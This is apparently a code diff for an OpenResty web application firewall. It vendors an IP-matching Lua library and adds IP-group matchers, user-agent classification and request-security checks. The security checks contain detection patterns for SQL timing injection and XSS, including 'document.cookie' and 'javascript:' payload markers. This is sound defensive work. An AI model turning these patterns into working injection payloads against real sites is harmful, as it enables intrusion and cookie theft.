int inet_pton(int af, const char * restrict src, void * restrict dst);
|
||||
uint32_t ntohl(uint32_t netlong);
|
||||
]]
|
||||
|
||||
|
||||
local parse_ipv4
|
||||
do
|
||||
local inet = ffi_new("unsigned int [1]")
|
||||
|
||||
function parse_ipv4(ip)
|
||||
if not ip then
|
||||
return false
|
||||
end
|
||||
|
||||
if C.inet_pton(AF_INET, ip, inet) ~= 1 then
|
||||
return false
|
||||
end
|
||||
|
||||
return C.ntohl(inet[0])
|
||||
end
|
||||
end
|
||||
_M.parse_ipv4 = parse_ipv4
|
||||
|
||||
local parse_bin_ipv4
|
||||
do
|
||||
local inet = ffi_new("unsigned int [1]")
|
||||
|
||||
function parse_bin_ipv4(ip)
|
||||
if not ip or #ip ~= 4 then
|
||||
return false
|
||||
end
|
||||
|
||||
ffi_copy(inet, ip, 4)
|
||||
return C.ntohl(inet[0])
|
||||
end
|
||||
end
|
||||
|
||||
local parse_ipv6
|
||||
do
|
||||
local inets = ffi_new("unsigned int [4]")
|
||||
|
||||
function parse_ipv6(ip)
|
||||
if not ip then
|
||||
return false
|
||||
end
|
||||
|
||||
if str_byte(ip, 1, 1) == str_byte('[')
|
||||
and str_byte(ip, #ip) == str_byte(']') then
|
||||
|
||||
-- strip square brackets around IPv6 literal if present
|
||||
ip = str_sub(ip, 2, #ip - 1)
|
||||
end
|
||||
|
||||
if C.inet_pton(AF_INET6, ip, inets) ~= 1 then
|
||||
return false
|
||||
end
|
||||
|
||||
local inets_arr = new_tab(4, 0)
|
||||
for i = 0, 3 do
|
||||
insert_tab(inets_arr, C.ntohl(inets[i]))
|
||||
end
|
||||
return inets_arr
|
||||
end
|
||||
end
|
||||
_M.parse_ipv6 = parse_ipv6
|
||||
|
||||
local parse_bin_ipv6
|
||||
do
|
||||
local inets = ffi_new("unsigned int [4]")
|
||||
|
||||
function parse_bin_ipv6(ip)
|
||||
if not ip or #ip ~= 16 then
|
||||
return false
|
||||
end
|
||||
|
||||
ffi_copy(inets, ip, 16)
|
||||
local inets_arr = new_tab(4, 0)
|
||||
for i = 0, 3 do
|
||||
insert_tab(inets_arr, C.ntohl(inets[i]))
|
||||
end
|
||||
return inets_arr
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
local mt = {__index = _M}
|
||||
|
||||
|
||||
local ngx_log = ngx.log
|
||||
local ngx_INFO = ngx.INFO
|
||||
local function log_info(...)
|
||||
if cur_level and ngx_INFO > cur_level then
|
||||
return
|
||||
end
|
||||
|
||||
return ngx_log(ngx_INFO, ...)
|
||||
end
|
||||
|
||||
|
||||
local function split_ip(ip_addr_org)
|
||||
local idx = find_str(ip_addr_org, "/", 1, true)
|
||||
if not idx then
|
||||
return ip_addr_org
|
||||
end
|
||||
|
||||
local ip_addr = str_sub(ip_addr_org, 1, idx - 1)
|
||||
local ip_addr_mask = str_sub(ip_addr_org, idx + 1)
|
||||
return ip_addr, tonumber(ip_addr_mask)
|
||||
end
|
||||
_M.split_ip = split_ip
|
||||
|
||||
|
||||
local idxs = {}
|
||||
local function gen_ipv6_idxs(inets_ipv6, mask)
|
||||
clear_tab(idxs)
|
||||
|
||||
for _, inet in ipairs(inets_ipv6) do
|
||||
local valid_mask = mask
|
||||
if valid_mask > 32 then
|
||||
valid_mask = 32
|
||||
end
|
||||
|
||||
if valid_mask == 32 then
|
||||
insert_tab(idxs, inet)
|
||||
else
|
||||
insert_tab(idxs, bit.rshift(inet, 32 - valid_mask))
|
||||
end
|
||||
|
||||
mask = mask - 32
|
||||
if mask <= 0 then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return idxs
|
||||
end
|
||||
|
||||
|
||||
local function new(ips, with_value)
|
||||
if not ips or type(ips) ~= "table" then
|
||||
error("missing valid ip argument", 2)
|
||||
end
|
||||
|
||||
local parsed_ipv4s = {}
|
||||
local parsed_ipv4s_mask = {}
|
||||
local ipv4_match_all_value
|
||||
|
||||
local parsed_ipv6s = {}
|
||||
local parsed_ipv6s_mask = {}
|
||||
local ipv6_values = {}
|
||||
local ipv6s_values_idx = 1
|
||||
local ipv6_match_all_value
|
||||
|
||||
local iter = with_value and pairs or ipairs
|
||||
for a, b in iter(ips) do
|
||||
local ip_addr_org, value
|
||||
if with_value then
|
||||
ip_addr_org = a
|
||||
value = b
|
||||
|
||||
else
|
||||
ip_addr_org = b
|
||||
value = true
|
||||
end
|
||||
|
||||
local ip_addr, ip_addr_mask = split_ip(ip_addr_org)
|
||||
|
||||
local inet_ipv4 = parse_ipv4(ip_addr)
|
||||
if inet_ipv4 then
|
||||
ip_addr_mask = ip_addr_mask or 32
|
||||
if ip_addr_mask == 32 then
|
||||
parsed_ipv4s[inet_ipv4] = value
|
||||
|
||||
elseif ip_addr_mask == 0 then
|
||||
ipv4_match_all_value = value
|
||||
|
||||
else
|
||||
local valid_inet_addr = bit.rshift(inet_ipv4, 32 - ip_addr_mask)
|
||||
|
||||
parsed_ipv4s_mask[ip_addr_mask] = parsed_ipv4s_mask[ip_addr_mask] or {}
|
||||
parsed_ipv4s_mask[ip_addr_mask][valid_inet_addr] = value
|
||||
log_info("ipv4 mask: ", ip_addr_mask,
|
||||
" valid inet: ", valid_inet_addr)
|
||||
end
|
||||
|
||||
goto continue
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_ipv6(ip_addr)
|
||||
if inets_ipv6 then
|
||||
ip_addr_mask = ip_addr_mask or 128
|
||||
if ip_addr_mask == 128 then
|
||||
parsed_ipv6s[ip_addr] = value
|
||||
|
||||
elseif ip_addr_mask == 0 then
|
||||
ipv6_match_all_value = value
|
||||
end
|
||||
|
||||
parsed_ipv6s[ip_addr_mask] = parsed_ipv6s[ip_addr_mask] or {}
|
||||
|
||||
local inets_idxs = gen_ipv6_idxs(inets_ipv6, ip_addr_mask)
|
||||
local node = parsed_ipv6s[ip_addr_mask]
|
||||
for i, inet in ipairs(inets_idxs) do
|
||||
if i == #inets_idxs then
|
||||
if with_value then
|
||||
ipv6_values[ipv6s_values_idx] = value
|
||||
node[inet] = ipv6s_values_idx
|
||||
ipv6s_values_idx = ipv6s_values_idx + 1
|
||||
else
|
||||
node[inet] = true
|
||||
end
|
||||
end
|
||||
node[inet] = node[inet] or {}
|
||||
node = node[inet]
|
||||
end
|
||||
|
||||
parsed_ipv6s_mask[ip_addr_mask] = true
|
||||
|
||||
goto continue
|
||||
end
|
||||
|
||||
if not inet_ipv4 and not inets_ipv6 then
|
||||
return nil, "invalid ip address: " .. ip_addr
|
||||
end
|
||||
|
||||
::continue::
|
||||
end
|
||||
|
||||
local ipv4_mask_arr = {}
|
||||
for k, _ in pairs(parsed_ipv4s_mask) do
|
||||
insert_tab(ipv4_mask_arr, k)
|
||||
end
|
||||
|
||||
local ipv6_mask_arr = {}
|
||||
for k, _ in pairs(parsed_ipv6s_mask) do
|
||||
insert_tab(ipv6_mask_arr, k)
|
||||
end
|
||||
|
||||
return setmetatable({
|
||||
ipv4 = parsed_ipv4s,
|
||||
ipv4_mask = parsed_ipv4s_mask,
|
||||
ipv4_mask_arr = ipv4_mask_arr,
|
||||
ipv4_match_all_value = ipv4_match_all_value,
|
||||
|
||||
ipv6 = parsed_ipv6s,
|
||||
ipv6_mask = parsed_ipv6s_mask,
|
||||
ipv6_mask_arr = ipv6_mask_arr,
|
||||
ipv6_values = ipv6_values,
|
||||
ipv6_match_all_value = ipv6_match_all_value,
|
||||
}, mt)
|
||||
end
|
||||
|
||||
function _M.new(ips)
|
||||
return new(ips, false)
|
||||
end
|
||||
|
||||
function _M.new_with_value(ips)
|
||||
return new(ips, true)
|
||||
end
|
||||
|
||||
|
||||
local function match_ipv4(self, ip)
|
||||
local ipv4s = self.ipv4
|
||||
local value = ipv4s[ip]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
|
||||
local ipv4_mask = self.ipv4_mask
|
||||
if self.ipv4_match_all_value ~= nil then
|
||||
return self.ipv4_match_all_value -- match any ip
|
||||
end
|
||||
|
||||
for _, mask in ipairs(self.ipv4_mask_arr) do
|
||||
local valid_inet_addr = bit.rshift(ip, 32 - mask)
|
||||
|
||||
log_info("ipv4 mask: ", mask,
|
||||
" valid inet: ", valid_inet_addr)
|
||||
|
||||
value = ipv4_mask[mask][valid_inet_addr]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
local function match_ipv6(self, ip)
|
||||
local ipv6s = self.ipv6
|
||||
if self.ipv6_match_all_value ~= nil then
|
||||
return self.ipv6_match_all_value -- match any ip
|
||||
end
|
||||
|
||||
for _, mask in ipairs(self.ipv6_mask_arr) do
|
||||
local node = ipv6s[mask]
|
||||
local inet_idxs = gen_ipv6_idxs(ip, mask)
|
||||
for _, inet in ipairs(inet_idxs) do
|
||||
if not node[inet] then
|
||||
break
|
||||
else
|
||||
node = node[inet]
|
||||
if node == true then
|
||||
return true
|
||||
end
|
||||
if type(node) == "number" then
|
||||
-- fetch with the ipv6s_values_idx
|
||||
return self.ipv6_values[node]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
function _M.match(self, ip)
|
||||
local inet_ipv4 = parse_ipv4(ip)
|
||||
if inet_ipv4 then
|
||||
return match_ipv4(self, inet_ipv4)
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_ipv6(ip)
|
||||
if not inets_ipv6 then
|
||||
return false, "invalid ip address, not ipv4 and ipv6"
|
||||
end
|
||||
|
||||
local ipv6s = self.ipv6
|
||||
local value = ipv6s[ip]
|
||||
if value ~= nil then
|
||||
return value
|
||||
end
|
||||
|
||||
return match_ipv6(self, inets_ipv6)
|
||||
end
|
||||
|
||||
|
||||
function _M.match_bin(self, bin_ip)
|
||||
local inet_ipv4 = parse_bin_ipv4(bin_ip)
|
||||
if inet_ipv4 then
|
||||
return match_ipv4(self, inet_ipv4)
|
||||
end
|
||||
|
||||
local inets_ipv6 = parse_bin_ipv6(bin_ip)
|
||||
if not inets_ipv6 then
|
||||
return false, "invalid ip address, not ipv4 and ipv6"
|
||||
end
|
||||
|
||||
return match_ipv6(self, inets_ipv6)
|
||||
end
|
||||
|
||||
|
||||
return _M
|
||||
@@ -12,6 +12,12 @@ var openRestyWAFRuntimeLua string
|
||||
//go:embed waf_ip_groups.lua
|
||||
var openRestyWAFIPGroupsLua string
|
||||
|
||||
// Vendored from https://github.com/api7/lua-resty-ipmatcher v0.6.1 (Apache-2.0).
|
||||
// OPM has no api7/lua-resty-ipmatcher package; deploy with Agent Lua assets instead.
|
||||
//
|
||||
//go:embed resty/ipmatcher.lua
|
||||
var openRestyIPMatcherLua string
|
||||
|
||||
const openRestyWAFCheckLua = `local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
@@ -30,5 +36,7 @@ func ManagedWAFLuaFiles() []protocol.SupportFile {
|
||||
{Path: "waf/runtime.lua", Content: openRestyWAFRuntimeLua},
|
||||
{Path: "waf/ip_groups.lua", Content: openRestyWAFIPGroupsLua},
|
||||
{Path: "waf/check.lua", Content: openRestyWAFCheckLua},
|
||||
// resty.ipmatcher under lua_package_path <luaDir>/?.lua
|
||||
{Path: "resty/ipmatcher.lua", Content: openRestyIPMatcherLua},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,6 +95,7 @@ local function adopt_shared_snapshot_if_changed()
|
||||
if type(version) ~= "string" or version == "" or version == current_version then return end
|
||||
local snapshot = decode_snapshot(shared:get(raw_snapshot_prefix .. version))
|
||||
if not snapshot then return end
|
||||
-- Matchers are compiled lazily in waf.runtime (resty.ipmatcher / fallback index).
|
||||
current_groups = snapshot
|
||||
current_version = version
|
||||
end
|
||||
|
||||
@@ -139,29 +139,36 @@ local function config_geo_requirements(config)
|
||||
end
|
||||
|
||||
function _M.init(options)
|
||||
if rules_config then
|
||||
return true
|
||||
end
|
||||
options = options or {}
|
||||
local runtime_dir = options.runtime_dir or "__OPENFLARE_RUNTIME_CONFIG_DIR__"
|
||||
-- Always apply explicit test/runtime injections; only short-circuit cold disk load once.
|
||||
if options.config then
|
||||
rules_config = options.config
|
||||
else
|
||||
elseif not rules_config then
|
||||
local err
|
||||
rules_config, err = load_json(runtime_dir .. "/waf_config.json")
|
||||
assert(rules_config, "load waf_config.json failed: " .. tostring(err))
|
||||
end
|
||||
if options.ip_groups then
|
||||
ip_groups_config = options.ip_groups
|
||||
else
|
||||
-- Drop stale compiled matchers when tests inject a fresh snapshot table.
|
||||
local groups = (ip_groups_config.groups or {})
|
||||
for _, group in pairs(groups) do
|
||||
if type(group) == "table" then group._matcher = nil end
|
||||
end
|
||||
elseif not ip_groups_config and not ip_groups_runtime then
|
||||
ip_groups_runtime = options.ip_groups_runtime or require("waf.ip_groups")
|
||||
local initialized, init_error = ip_groups_runtime.init({ runtime_dir = runtime_dir })
|
||||
assert(initialized, "initialize WAF IP groups failed: " .. tostring(init_error))
|
||||
end
|
||||
pow_runtime = options.pow or require("pow.runtime")
|
||||
if options.pow then
|
||||
pow_runtime = options.pow
|
||||
elseif not pow_runtime then
|
||||
pow_runtime = require("pow.runtime")
|
||||
end
|
||||
if options.geo_lookup then
|
||||
geo_lookup = options.geo_lookup
|
||||
else
|
||||
elseif not geo_lookup then
|
||||
local uses_geo, uses_region = config_geo_requirements(rules_config)
|
||||
if uses_geo then
|
||||
init_geo_databases(
|
||||
@@ -240,60 +247,566 @@ local function parse_ipv6(value)
|
||||
return result
|
||||
end
|
||||
|
||||
local function ipv6_equal(left, right)
|
||||
left, right = parse_ipv6(left), parse_ipv6(right)
|
||||
if not left or not right then return false end
|
||||
for index = 1, 8 do
|
||||
if left[index] ~= right[index] then return false end
|
||||
end
|
||||
return true
|
||||
local function ipv6_key(groups)
|
||||
return table.concat(groups, ":")
|
||||
end
|
||||
|
||||
local function ip_in_cidr(ip, cidr)
|
||||
local function preparse_cidr(cidr)
|
||||
local base, bits = string.match(cidr or "", "^([^/]+)/(%d+)$")
|
||||
bits = tonumber(bits)
|
||||
if not base or not bits then return false end
|
||||
local ip_number, base_number = parse_ipv4(ip), parse_ipv4(base)
|
||||
if ip_number and base_number then
|
||||
if bits < 0 or bits > 32 then return false end
|
||||
if bits == 0 then return true end
|
||||
if not base or not bits then return nil end
|
||||
local base_v4 = parse_ipv4(base)
|
||||
if base_v4 then
|
||||
if bits < 0 or bits > 32 then return nil end
|
||||
if bits == 0 then return { kind = "v4", bits = 0, network = 0, size = 0 } end
|
||||
local size = 2 ^ (32 - bits)
|
||||
return ip_number - (ip_number % size) == base_number - (base_number % size)
|
||||
return { kind = "v4", bits = bits, network = base_v4 - (base_v4 % size), size = size }
|
||||
end
|
||||
local ip_groups, base_groups = parse_ipv6(ip), parse_ipv6(base)
|
||||
if not ip_groups or not base_groups or bits < 0 or bits > 128 then return false end
|
||||
local full_groups, remaining_bits = math.floor(bits / 16), bits % 16
|
||||
local base_v6 = parse_ipv6(base)
|
||||
if not base_v6 or bits < 0 or bits > 128 then return nil end
|
||||
return { kind = "v6", bits = bits, groups = base_v6 }
|
||||
end
|
||||
|
||||
local function ipv4_in_preparsed(ip_number, cidr)
|
||||
if cidr.bits == 0 then return true end
|
||||
return ip_number - (ip_number % cidr.size) == cidr.network
|
||||
end
|
||||
|
||||
local function ipv6_in_preparsed(ip_groups, cidr)
|
||||
local full_groups, remaining_bits = math.floor(cidr.bits / 16), cidr.bits % 16
|
||||
for index = 1, full_groups do
|
||||
if ip_groups[index] ~= base_groups[index] then return false end
|
||||
if ip_groups[index] ~= cidr.groups[index] then return false end
|
||||
end
|
||||
if remaining_bits > 0 then
|
||||
local size = 2 ^ (16 - remaining_bits)
|
||||
local index = full_groups + 1
|
||||
if math.floor(ip_groups[index] / size) ~= math.floor(base_groups[index] / size) then return false end
|
||||
if math.floor(ip_groups[index] / size) ~= math.floor(cidr.groups[index] / size) then
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Prefer resty.ipmatcher (C radix). Fallback: exact hash + pre-parsed CIDR list only.
|
||||
local resty_ipmatcher
|
||||
local resty_ipmatcher_loaded = false
|
||||
|
||||
local function load_resty_ipmatcher()
|
||||
if resty_ipmatcher_loaded then return resty_ipmatcher end
|
||||
resty_ipmatcher_loaded = true
|
||||
local ok, mod = pcall(require, "resty.ipmatcher")
|
||||
if ok and type(mod) == "table" and type(mod.new) == "function" then
|
||||
resty_ipmatcher = mod
|
||||
else
|
||||
resty_ipmatcher = nil
|
||||
end
|
||||
return resty_ipmatcher
|
||||
end
|
||||
|
||||
local empty_ip_matcher = {
|
||||
empty = true,
|
||||
match = function() return false end,
|
||||
}
|
||||
|
||||
local function compile_fallback_ip_matcher(entries)
|
||||
local exact, cidrs = {}, {}
|
||||
for _, item in ipairs(entries) do
|
||||
if string.find(item, "/", 1, true) then
|
||||
local parsed = preparse_cidr(item)
|
||||
if parsed then cidrs[#cidrs + 1] = parsed end
|
||||
else
|
||||
exact[item] = true
|
||||
local v6 = parse_ipv6(item)
|
||||
if v6 then exact["v6:" .. ipv6_key(v6)] = true end
|
||||
end
|
||||
end
|
||||
return {
|
||||
empty = false,
|
||||
match = function(_, ip, _bin, ip_v4, ip_v6)
|
||||
if exact[ip] then return true end
|
||||
if ip_v6 and exact["v6:" .. ipv6_key(ip_v6)] then return true end
|
||||
if not ip_v4 and not ip_v6 then
|
||||
ip_v4 = parse_ipv4(ip)
|
||||
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
|
||||
end
|
||||
for _, cidr in ipairs(cidrs) do
|
||||
if cidr.kind == "v4" and ip_v4 and ipv4_in_preparsed(ip_v4, cidr) then
|
||||
return true
|
||||
end
|
||||
if cidr.kind == "v6" and ip_v6 and ipv6_in_preparsed(ip_v6, cidr) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end,
|
||||
}
|
||||
end
|
||||
|
||||
local function compile_ip_matcher(entries)
|
||||
local list = {}
|
||||
for _, item in ipairs(array_or_empty(entries)) do
|
||||
if type(item) == "string" and item ~= "" then
|
||||
list[#list + 1] = item
|
||||
end
|
||||
end
|
||||
if #list == 0 then return empty_ip_matcher end
|
||||
|
||||
local mod = load_resty_ipmatcher()
|
||||
if mod then
|
||||
local matcher, err = mod.new(list)
|
||||
if matcher then
|
||||
return {
|
||||
empty = false,
|
||||
match = function(_, ip, bin_ip)
|
||||
if bin_ip and matcher.match_bin then
|
||||
local ok = matcher:match_bin(bin_ip)
|
||||
if ok then return true end
|
||||
end
|
||||
return matcher:match(ip) == true
|
||||
end,
|
||||
}
|
||||
end
|
||||
warn_rate_limited("_ipmatcher_new_failed", "openflare waf ipmatcher.new failed: ", err)
|
||||
end
|
||||
return compile_fallback_ip_matcher(list)
|
||||
end
|
||||
|
||||
local node_ip_matcher_cache = setmetatable({}, { __mode = "k" })
|
||||
|
||||
local function matcher_for_node_ip_config(config)
|
||||
config = config or {}
|
||||
local cached = node_ip_matcher_cache[config]
|
||||
if cached then return cached end
|
||||
local entries = {}
|
||||
for _, item in ipairs(array_or_empty(config.ips)) do entries[#entries + 1] = item end
|
||||
for _, item in ipairs(array_or_empty(config.cidrs)) do entries[#entries + 1] = item end
|
||||
local matcher = compile_ip_matcher(entries)
|
||||
node_ip_matcher_cache[config] = matcher
|
||||
return matcher
|
||||
end
|
||||
|
||||
local function matcher_for_ip_group(group)
|
||||
if type(group) ~= "table" then return empty_ip_matcher end
|
||||
if group._matcher then return group._matcher end
|
||||
group._matcher = compile_ip_matcher(group.ip_list)
|
||||
return group._matcher
|
||||
end
|
||||
|
||||
local function matches_ip_values(config, ip)
|
||||
for _, item in ipairs(array_or_empty(config.ips)) do
|
||||
if item == ip or ipv6_equal(item, ip) then return true end
|
||||
if type(ip) ~= "string" or ip == "" then return false end
|
||||
local bin_ip = ngx.var and ngx.var.binary_remote_addr or nil
|
||||
local ip_v4, ip_v6
|
||||
-- Parse client IP once for pure-Lua fallback CIDR/exact-v6 paths.
|
||||
if not load_resty_ipmatcher() then
|
||||
ip_v4 = parse_ipv4(ip)
|
||||
if not ip_v4 then ip_v6 = parse_ipv6(ip) end
|
||||
end
|
||||
for _, cidr in ipairs(array_or_empty(config.cidrs)) do
|
||||
if ip_in_cidr(ip, cidr) then return true end
|
||||
|
||||
local node_matcher = matcher_for_node_ip_config(config)
|
||||
if not node_matcher.empty and node_matcher:match(ip, bin_ip, ip_v4, ip_v6) then
|
||||
return true
|
||||
end
|
||||
local snapshot = ip_groups_config or ip_groups_runtime.current()
|
||||
|
||||
local snapshot = ip_groups_config or (ip_groups_runtime and ip_groups_runtime.current())
|
||||
local groups = (snapshot or {}).groups or {}
|
||||
for _, id in ipairs(array_or_empty(config.ip_group_ids)) do
|
||||
local group = groups[tostring(id)]
|
||||
if group and group.enabled then
|
||||
for _, item in ipairs(array_or_empty(group.ip_list)) do
|
||||
if item == ip or ipv6_equal(item, ip) or ip_in_cidr(ip, item) then return true end
|
||||
local matcher = matcher_for_ip_group(group)
|
||||
if matcher:match(ip, bin_ip, ip_v4, ip_v6) then return true end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function ua_trim(value)
|
||||
return (string.gsub(value or "", "^%s*(.-)%s*$", "%1"))
|
||||
end
|
||||
|
||||
local function ua_label_set(items)
|
||||
if type(items) ~= "table" then return nil, false end
|
||||
local set, count = {}, 0
|
||||
for _, item in ipairs(items) do
|
||||
set[tostring(item)] = true
|
||||
count = count + 1
|
||||
end
|
||||
return set, count > 0
|
||||
end
|
||||
|
||||
local function match_ua_rules(ua_lower, rules, fallback)
|
||||
if ua_lower == "" then return "Unknown" end
|
||||
for _, rule in ipairs(rules) do
|
||||
local matched = false
|
||||
for _, token in ipairs(rule.contains or {}) do
|
||||
if string.find(ua_lower, token, 1, true) then
|
||||
matched = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not matched and type(rule.all_of) == "table" and #rule.all_of > 0 then
|
||||
matched = true
|
||||
for _, token in ipairs(rule.all_of) do
|
||||
if not string.find(ua_lower, token, 1, true) then
|
||||
matched = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if matched then
|
||||
local excluded = false
|
||||
for _, token in ipairs(rule.none_of or {}) do
|
||||
if string.find(ua_lower, token, 1, true) then
|
||||
excluded = true
|
||||
break
|
||||
end
|
||||
end
|
||||
if not excluded then return rule.label end
|
||||
end
|
||||
end
|
||||
return fallback
|
||||
end
|
||||
|
||||
-- Mirrors internal/repository/analytics/browser.go browserRules / osRules.
|
||||
local browser_rules = {
|
||||
{ label = "WeChat", contains = { "micromessenger" } },
|
||||
{ label = "Postman", contains = { "postman" } },
|
||||
{ label = "CLI", contains = { "curl/", "wget/" } },
|
||||
{ label = "Edge", contains = { "edg/", "edgios/", "edga/" } },
|
||||
{ label = "Opera", contains = { "opr/", "opera" } },
|
||||
{ label = "Firefox", contains = { "firefox", "fxios" } },
|
||||
{ label = "Chrome", contains = { "crios", "chrome" }, none_of = { "chromium" } },
|
||||
{ label = "Chromium", contains = { "chromium" } },
|
||||
{ label = "Safari", contains = { "safari" } },
|
||||
{ label = "Bot", contains = { "bot", "spider", "crawler", "slurp" } },
|
||||
}
|
||||
|
||||
local os_rules = {
|
||||
{ label = "Android", contains = { "android" } },
|
||||
{ label = "iOS", contains = { "iphone", "ipad", "ipod", "ios" } },
|
||||
{ label = "Windows", contains = { "windows" } },
|
||||
{ label = "macOS", contains = { "mac os x", "macintosh", "macos" } },
|
||||
{ label = "Chrome OS", contains = { "cros" } },
|
||||
{ label = "Linux", contains = { "linux" } },
|
||||
{ label = "Bot", contains = { "bot", "spider", "crawler" } },
|
||||
}
|
||||
|
||||
local function parse_browser_name_lower(ua_lower)
|
||||
return match_ua_rules(ua_lower, browser_rules, "Other")
|
||||
end
|
||||
|
||||
local function parse_os_name_lower(ua_lower)
|
||||
return match_ua_rules(ua_lower, os_rules, "Other")
|
||||
end
|
||||
|
||||
local function ua_matches_custom_patterns(ua, patterns)
|
||||
for _, pattern in ipairs(array_or_empty(patterns)) do
|
||||
if type(pattern) == "string" and pattern ~= "" then
|
||||
local ok, matched = pcall(function()
|
||||
return string.find(ua, pattern) ~= nil
|
||||
end)
|
||||
if ok and matched then return true end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function matches_ua_check(config)
|
||||
config = config or {}
|
||||
local ua = ua_trim(ngx.var.http_user_agent or "")
|
||||
if config.require_ua and ua == "" then return false end
|
||||
local ua_lower = string.lower(ua)
|
||||
local browser = parse_browser_name_lower(ua_lower)
|
||||
local os_name = parse_os_name_lower(ua_lower)
|
||||
if config.block_common_bots and (browser == "Bot" or os_name == "Bot") then return false end
|
||||
-- Abnormal excludes search-engine / crawler Bot labels; use block_common_bots for those.
|
||||
if config.block_abnormal_ua and (browser == "Other" or browser == "Unknown") then
|
||||
return false
|
||||
end
|
||||
if config.block_custom_ua and ua_matches_custom_patterns(ua, config.custom_ua_patterns) then
|
||||
return false
|
||||
end
|
||||
local browser_set, has_browsers = ua_label_set(config.browsers)
|
||||
local os_set, has_os = ua_label_set(config.operating_systems)
|
||||
if not has_browsers and not has_os then return true end
|
||||
local browser_ok = has_browsers and browser_set[browser] == true
|
||||
local os_ok = has_os and os_set[os_name] == true
|
||||
if has_browsers and not has_os then return browser_ok end
|
||||
if has_os and not has_browsers then return os_ok end
|
||||
local mode = config.match_mode
|
||||
if mode ~= "and" and mode ~= "or" then mode = "or" end
|
||||
if mode == "and" then return browser_ok and os_ok end
|
||||
return browser_ok or os_ok
|
||||
end
|
||||
|
||||
local security_body_max = 65536
|
||||
|
||||
local function url_decode(value)
|
||||
value = string.gsub(value or "", "+", " ")
|
||||
value = string.gsub(value, "%%(%x%x)", function(hex)
|
||||
return string.char(tonumber(hex, 16))
|
||||
end)
|
||||
return value
|
||||
end
|
||||
|
||||
local function security_decode(value)
|
||||
local once = url_decode(value)
|
||||
local twice = url_decode(once)
|
||||
return string.lower(once), string.lower(twice)
|
||||
end
|
||||
|
||||
local function security_match_any(haystacks, patterns)
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
for _, pattern in ipairs(patterns) do
|
||||
if string.find(hay, pattern, 1, true) then return true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
-- SQL sleep/benchmark: require digit arg to avoid product names like sleep(better).
|
||||
local function security_match_sql_timed(haystacks)
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
if string.find(hay, "sleep(%d", 1, true) or string.find(hay, "benchmark(%d", 1, true) then
|
||||
return true
|
||||
end
|
||||
-- Also accept sleep( 1 ) with optional spaces: sleep( + digit
|
||||
local i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "sleep(", i, true)
|
||||
if not s then break end
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*%d") then return true end
|
||||
i = e + 1
|
||||
end
|
||||
i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "benchmark(", i, true)
|
||||
if not s then break end
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*%d") then return true end
|
||||
i = e + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
-- XSS: tag/event handlers and URI schemes; skip prose like "javascript: the good parts".
|
||||
local function security_match_xss(haystacks)
|
||||
local tag_like = { "<script", "<iframe", "onerror=", "onload=", "onmouseover=", "document.cookie" }
|
||||
for _, hay in ipairs(haystacks) do
|
||||
if type(hay) == "string" and hay ~= "" then
|
||||
for _, pattern in ipairs(tag_like) do
|
||||
if string.find(hay, pattern, 1, true) then return true end
|
||||
end
|
||||
-- javascript: as URI scheme with code-like body (alert/void/'/") not prose titles.
|
||||
local i = 1
|
||||
while true do
|
||||
local s, e = string.find(hay, "javascript:", i, true)
|
||||
if not s then break end
|
||||
local prev_ok = (s == 1) or string.match(string.sub(hay, s - 1, s - 1), "[=\"'(<;,]")
|
||||
if prev_ok then
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*[\"'`(]")
|
||||
or string.match(rest, "^%s*alert%s*%(")
|
||||
or string.match(rest, "^%s*void%s*%(")
|
||||
or string.match(rest, "^%s*eval%s*%(")
|
||||
or string.match(rest, "^%s*window%.")
|
||||
or string.match(rest, "^%s*document%.") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
i = e + 1
|
||||
end
|
||||
if string.find(hay, "eval(", 1, true) then
|
||||
local _, e = string.find(hay, "eval(", 1, true)
|
||||
local rest = string.sub(hay, e + 1)
|
||||
if string.match(rest, "^%s*[\"'`(]") then return true end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function security_append_decoded(list, value)
|
||||
if type(value) ~= "string" or value == "" then return end
|
||||
local once, twice = security_decode(value)
|
||||
list[#list + 1] = once
|
||||
if twice ~= once then list[#list + 1] = twice end
|
||||
end
|
||||
|
||||
local function security_collect_args(list)
|
||||
if not ngx.req or not ngx.req.get_uri_args then
|
||||
security_append_decoded(list, ngx.var.args or "")
|
||||
return
|
||||
end
|
||||
local args = ngx.req.get_uri_args(100)
|
||||
if type(args) ~= "table" then return end
|
||||
for key, value in pairs(args) do
|
||||
security_append_decoded(list, tostring(key))
|
||||
if type(value) == "table" then
|
||||
for _, item in ipairs(value) do security_append_decoded(list, tostring(item)) end
|
||||
else
|
||||
security_append_decoded(list, tostring(value))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
